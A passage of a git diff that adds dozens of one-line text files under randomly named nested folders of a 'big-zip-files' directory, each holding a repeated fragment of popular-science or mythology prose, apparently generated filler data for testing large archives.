diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/file_sykpxtxm.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/file_sykpxtxm.txt
new file mode 100644
index 0000000..9478c31
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/file_sykpxtxm.txt
@@ -0,0 +1 @@
+- The Popol Vuh of the Quiché Maya
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/file_xmpycilsy.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/file_xmpycilsy.txt
new file mode 100644
index 0000000..9478c31
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/file_xmpycilsy.txt
@@ -0,0 +1 @@
+- The Popol Vuh of the Quiché Maya
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/file_xujujvrcb.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/file_xujujvrcb.txt
new file mode 100644
index 0000000..9478c31
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/file_xujujvrcb.txt
@@ -0,0 +1 @@
+- The Popol Vuh of the Quiché Maya
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/file_zefblkzjzokid.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/file_zefblkzjzokid.txt
new file mode 100644
index 0000000..9478c31
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/file_zefblkzjzokid.txt
@@ -0,0 +1 @@
+- The Popol Vuh of the Quiché Maya
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/fxxxwialghlhgkfop.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/fxxxwialghlhgkfop.txt
new file mode 100644
index 0000000..d9884c6
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/fxxxwialghlhgkfop.txt
@@ -0,0 +1 @@
+made of nucleic acids, those extraordinary molecules capable of reproducing themselves
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/goxolxdtuuxplt.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/goxolxdtuuxplt.txt
new file mode 100644
index 0000000..56f7597
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/goxolxdtuuxplt.txt
@@ -0,0 +1 @@
+fancied there might be other men upon Mars, perhaps inferior to themselves and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/likralzcvxsk.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/likralzcvxsk.txt
new file mode 100644
index 0000000..52ea013
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/likralzcvxsk.txt
@@ -0,0 +1 @@
+Shiva. The god, called in this manifestation Nataraja, the Dance King, has four hands. In
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/nicpfpjzfqzubtcsvo.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/nicpfpjzfqzubtcsvo.txt
new file mode 100644
index 0000000..a107c80
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/nicpfpjzfqzubtcsvo.txt
@@ -0,0 +1 @@
+was once thought that airplanes could not travel faster than sound. Today supersonic flight
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/qpyhtowzjk.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/qpyhtowzjk.txt
new file mode 100644
index 0000000..92a65fd
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/qpyhtowzjk.txt
@@ -0,0 +1 @@
+But the charged particles can damage the delicate instruments and fry the electronics.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/rwfldjgrnnwwginguma.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/rwfldjgrnnwwginguma.txt
new file mode 100644
index 0000000..fd5cdb3
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/rwfldjgrnnwwginguma.txt
@@ -0,0 +1 @@
+Thunderer and his royal abode . . . Here the famous and mighty inhabitants of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/tifbqjmaszad.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/tifbqjmaszad.txt
new file mode 100644
index 0000000..fb210ec
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/tifbqjmaszad.txt
@@ -0,0 +1 @@
+a long enough walk along what seems to be a perfectly straight line, he uncovers a great
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/vkihhcksfaxausvsecfqdtmj.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/vkihhcksfaxausvsecfqdtmj.txt
new file mode 100644
index 0000000..2cb8a84
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/vkihhcksfaxausvsecfqdtmj.txt
@@ -0,0 +1 @@
+and a catastrophe of the most immense proportions imaginable will overtake our planet.* In
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/vpklntvbfpstf.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/vpklntvbfpstf.txt
new file mode 100644
index 0000000..3f33a71
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/vpklntvbfpstf.txt
@@ -0,0 +1 @@
+tea - or any other liquid - forms throbbing spherical globs in the air: the surface tension of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/vwdqhgcltfskuzfhacsch.txt b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/vwdqhgcltfskuzfhacsch.txt
new file mode 100644
index 0000000..c62f5c5
--- /dev/null
+++ b/big_zip/big-zip-files/folder_oytxufxiii/folder_ugefrcgbjo/folder_aykgaggxyv/folder_dheabqgsed/vwdqhgcltfskuzfhacsch.txt
@@ -0,0 +1 @@
+optimistic projections on the development of our technology, it does not seem likely that
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/file_aezbhntczvzfklbch.txt b/big_zip/big-zip-files/folder_pmbymkjcya/file_aezbhntczvzfklbch.txt
new file mode 100644
index 0000000..701a3b8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/file_aezbhntczvzfklbch.txt
@@ -0,0 +1 @@
+handful of naked-eye stars, because their skies will be ablaze with them. Near the center of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/file_bhnrleaaspdjwxco.txt b/big_zip/big-zip-files/folder_pmbymkjcya/file_bhnrleaaspdjwxco.txt
new file mode 100644
index 0000000..701a3b8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/file_bhnrleaaspdjwxco.txt
@@ -0,0 +1 @@
+handful of naked-eye stars, because their skies will be ablaze with them. Near the center of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/file_gbefaeqmibytm.txt b/big_zip/big-zip-files/folder_pmbymkjcya/file_gbefaeqmibytm.txt
new file mode 100644
index 0000000..701a3b8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/file_gbefaeqmibytm.txt
@@ -0,0 +1 @@
+handful of naked-eye stars, because their skies will be ablaze with them. Near the center of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/file_leygudoexxzoazwn.txt b/big_zip/big-zip-files/folder_pmbymkjcya/file_leygudoexxzoazwn.txt
new file mode 100644
index 0000000..701a3b8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/file_leygudoexxzoazwn.txt
@@ -0,0 +1 @@
+handful of naked-eye stars, because their skies will be ablaze with them. Near the center of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/file_moyhvsgtj.txt b/big_zip/big-zip-files/folder_pmbymkjcya/file_moyhvsgtj.txt
new file mode 100644
index 0000000..701a3b8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/file_moyhvsgtj.txt
@@ -0,0 +1 @@
+handful of naked-eye stars, because their skies will be ablaze with them. Near the center of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/file_nnguvmwg.txt b/big_zip/big-zip-files/folder_pmbymkjcya/file_nnguvmwg.txt
new file mode 100644
index 0000000..701a3b8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/file_nnguvmwg.txt
@@ -0,0 +1 @@
+handful of naked-eye stars, because their skies will be ablaze with them. Near the center of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/file_qlnkyugpcjirfbailnuria.txt b/big_zip/big-zip-files/folder_pmbymkjcya/file_qlnkyugpcjirfbailnuria.txt
new file mode 100644
index 0000000..701a3b8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/file_qlnkyugpcjirfbailnuria.txt
@@ -0,0 +1 @@
+handful of naked-eye stars, because their skies will be ablaze with them. Near the center of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/file_qoujukoqh.txt b/big_zip/big-zip-files/folder_pmbymkjcya/file_qoujukoqh.txt
new file mode 100644
index 0000000..701a3b8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/file_qoujukoqh.txt
@@ -0,0 +1 @@
+handful of naked-eye stars, because their skies will be ablaze with them. Near the center of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/file_wqndjmfip.txt b/big_zip/big-zip-files/folder_pmbymkjcya/file_wqndjmfip.txt
new file mode 100644
index 0000000..701a3b8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/file_wqndjmfip.txt
@@ -0,0 +1 @@
+handful of naked-eye stars, because their skies will be ablaze with them. Near the center of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/file_xxwkjbovmmxibu.txt b/big_zip/big-zip-files/folder_pmbymkjcya/file_xxwkjbovmmxibu.txt
new file mode 100644
index 0000000..701a3b8
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/file_xxwkjbovmmxibu.txt
@@ -0,0 +1 @@
+handful of naked-eye stars, because their skies will be ablaze with them. Near the center of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/file_eqaadvcbmgjclbvrgh.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/file_eqaadvcbmgjclbvrgh.txt
new file mode 100644
index 0000000..799466c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/file_eqaadvcbmgjclbvrgh.txt
@@ -0,0 +1 @@
+be stupid. Intelligent beings can solve problems better, live longer and leave more
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/file_fljajoehjmkhrpllnhpl.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/file_fljajoehjmkhrpllnhpl.txt
new file mode 100644
index 0000000..799466c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/file_fljajoehjmkhrpllnhpl.txt
@@ -0,0 +1 @@
+be stupid. Intelligent beings can solve problems better, live longer and leave more
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/file_fvislmschaphdxleddbwakg.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/file_fvislmschaphdxleddbwakg.txt
new file mode 100644
index 0000000..799466c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/file_fvislmschaphdxleddbwakg.txt
@@ -0,0 +1 @@
+be stupid. Intelligent beings can solve problems better, live longer and leave more
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/file_haukrqmlczjuyz.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/file_haukrqmlczjuyz.txt
new file mode 100644
index 0000000..799466c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/file_haukrqmlczjuyz.txt
@@ -0,0 +1 @@
+be stupid. Intelligent beings can solve problems better, live longer and leave more
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/file_hvfpinkvqyaceneffjuqx.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/file_hvfpinkvqyaceneffjuqx.txt
new file mode 100644
index 0000000..799466c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/file_hvfpinkvqyaceneffjuqx.txt
@@ -0,0 +1 @@
+be stupid. Intelligent beings can solve problems better, live longer and leave more
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/file_immaxfkdpea.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/file_immaxfkdpea.txt
new file mode 100644
index 0000000..799466c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/file_immaxfkdpea.txt
@@ -0,0 +1 @@
+be stupid. Intelligent beings can solve problems better, live longer and leave more
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/file_jdzbzyfcrcwtxapyukouxzd.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/file_jdzbzyfcrcwtxapyukouxzd.txt
new file mode 100644
index 0000000..799466c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/file_jdzbzyfcrcwtxapyukouxzd.txt
@@ -0,0 +1 @@
+be stupid. Intelligent beings can solve problems better, live longer and leave more
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/file_kkgbonspsyvllwwerm.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/file_kkgbonspsyvllwwerm.txt
new file mode 100644
index 0000000..799466c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/file_kkgbonspsyvllwwerm.txt
@@ -0,0 +1 @@
+be stupid. Intelligent beings can solve problems better, live longer and leave more
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/file_nzlfbnkvfylpuepnexrmlogx.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/file_nzlfbnkvfylpuepnexrmlogx.txt
new file mode 100644
index 0000000..799466c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/file_nzlfbnkvfylpuepnexrmlogx.txt
@@ -0,0 +1 @@
+be stupid. Intelligent beings can solve problems better, live longer and leave more
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/file_pmkjocztharjbsilq.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/file_pmkjocztharjbsilq.txt
new file mode 100644
index 0000000..799466c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/file_pmkjocztharjbsilq.txt
@@ -0,0 +1 @@
+be stupid. Intelligent beings can solve problems better, live longer and leave more
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/file_pvhszjqy.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/file_pvhszjqy.txt
new file mode 100644
index 0000000..799466c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/file_pvhszjqy.txt
@@ -0,0 +1 @@
+be stupid. Intelligent beings can solve problems better, live longer and leave more
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/file_utvisgyzdamstiyqizvvu.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/file_utvisgyzdamstiyqizvvu.txt
new file mode 100644
index 0000000..799466c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/file_utvisgyzdamstiyqizvvu.txt
@@ -0,0 +1 @@
+be stupid. Intelligent beings can solve problems better, live longer and leave more
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/file_vgdsffiwnm.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/file_vgdsffiwnm.txt
new file mode 100644
index 0000000..799466c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/file_vgdsffiwnm.txt
@@ -0,0 +1 @@
+be stupid. Intelligent beings can solve problems better, live longer and leave more
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/file_xfobceyahtzumyvxcyul.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/file_xfobceyahtzumyvxcyul.txt
new file mode 100644
index 0000000..799466c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/file_xfobceyahtzumyvxcyul.txt
@@ -0,0 +1 @@
+be stupid. Intelligent beings can solve problems better, live longer and leave more
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/file_yavqmmkdltt.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/file_yavqmmkdltt.txt
new file mode 100644
index 0000000..799466c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/file_yavqmmkdltt.txt
@@ -0,0 +1 @@
+be stupid. Intelligent beings can solve problems better, live longer and leave more
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/file_zfucxlqfdqoqqkgt.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/file_zfucxlqfdqoqqkgt.txt
new file mode 100644
index 0000000..799466c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/file_zfucxlqfdqoqqkgt.txt
@@ -0,0 +1 @@
+be stupid. Intelligent beings can solve problems better, live longer and leave more
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_azkglgobxhpe.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_azkglgobxhpe.txt
new file mode 100644
index 0000000..6473cb4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_azkglgobxhpe.txt
@@ -0,0 +1 @@
+could communicate with an identical radio telescope on a planet 15,000 light-years away,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_bkcbbbfjyex.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_bkcbbbfjyex.txt
new file mode 100644
index 0000000..6473cb4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_bkcbbbfjyex.txt
@@ -0,0 +1 @@
+could communicate with an identical radio telescope on a planet 15,000 light-years away,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_cxezmivosoopservzbceypx.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_cxezmivosoopservzbceypx.txt
new file mode 100644
index 0000000..6473cb4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_cxezmivosoopservzbceypx.txt
@@ -0,0 +1 @@
+could communicate with an identical radio telescope on a planet 15,000 light-years away,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_dybndhvgsojwmzwnyzbml.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_dybndhvgsojwmzwnyzbml.txt
new file mode 100644
index 0000000..6473cb4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_dybndhvgsojwmzwnyzbml.txt
@@ -0,0 +1 @@
+could communicate with an identical radio telescope on a planet 15,000 light-years away,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_ehzatqjlnrskhgvkxbqfzgqo.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_ehzatqjlnrskhgvkxbqfzgqo.txt
new file mode 100644
index 0000000..6473cb4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_ehzatqjlnrskhgvkxbqfzgqo.txt
@@ -0,0 +1 @@
+could communicate with an identical radio telescope on a planet 15,000 light-years away,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_ejwdluunedetqfqyvfwnz.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_ejwdluunedetqfqyvfwnz.txt
new file mode 100644
index 0000000..6473cb4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_ejwdluunedetqfqyvfwnz.txt
@@ -0,0 +1 @@
+could communicate with an identical radio telescope on a planet 15,000 light-years away,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_ezznexqdiyagacmuycekxqen.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_ezznexqdiyagacmuycekxqen.txt
new file mode 100644
index 0000000..6473cb4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_ezznexqdiyagacmuycekxqen.txt
@@ -0,0 +1 @@
+could communicate with an identical radio telescope on a planet 15,000 light-years away,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_jehizinzznghhn.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_jehizinzznghhn.txt
new file mode 100644
index 0000000..6473cb4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_jehizinzznghhn.txt
@@ -0,0 +1 @@
+could communicate with an identical radio telescope on a planet 15,000 light-years away,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_jyrbepobchyipumxygjnukt.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_jyrbepobchyipumxygjnukt.txt
new file mode 100644
index 0000000..6473cb4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_jyrbepobchyipumxygjnukt.txt
@@ -0,0 +1 @@
+could communicate with an identical radio telescope on a planet 15,000 light-years away,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_mbeznqhlmofuanoo.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_mbeznqhlmofuanoo.txt
new file mode 100644
index 0000000..6473cb4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_mbeznqhlmofuanoo.txt
@@ -0,0 +1 @@
+could communicate with an identical radio telescope on a planet 15,000 light-years away,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_mjopwbgvjelattbrlomp.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_mjopwbgvjelattbrlomp.txt
new file mode 100644
index 0000000..6473cb4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_mjopwbgvjelattbrlomp.txt
@@ -0,0 +1 @@
+could communicate with an identical radio telescope on a planet 15,000 light-years away,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_mqiusisljuezk.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_mqiusisljuezk.txt
new file mode 100644
index 0000000..6473cb4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_mqiusisljuezk.txt
@@ -0,0 +1 @@
+could communicate with an identical radio telescope on a planet 15,000 light-years away,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_mqrppqtvzocsbp.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_mqrppqtvzocsbp.txt
new file mode 100644
index 0000000..6473cb4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_mqrppqtvzocsbp.txt
@@ -0,0 +1 @@
+could communicate with an identical radio telescope on a planet 15,000 light-years away,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_ndbugxoodbyj.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_ndbugxoodbyj.txt
new file mode 100644
index 0000000..6473cb4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_ndbugxoodbyj.txt
@@ -0,0 +1 @@
+could communicate with an identical radio telescope on a planet 15,000 light-years away,
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_npanciwfmwvk.txt b/big_zip/big-zip-files/folder_pmbymkjcya/folder_cawigcwvgv/folder_ltdayfmktr/file_npanciwfmwvk.txt
new file mode 100644
index 0000000..6473cb4
--- /dev/null
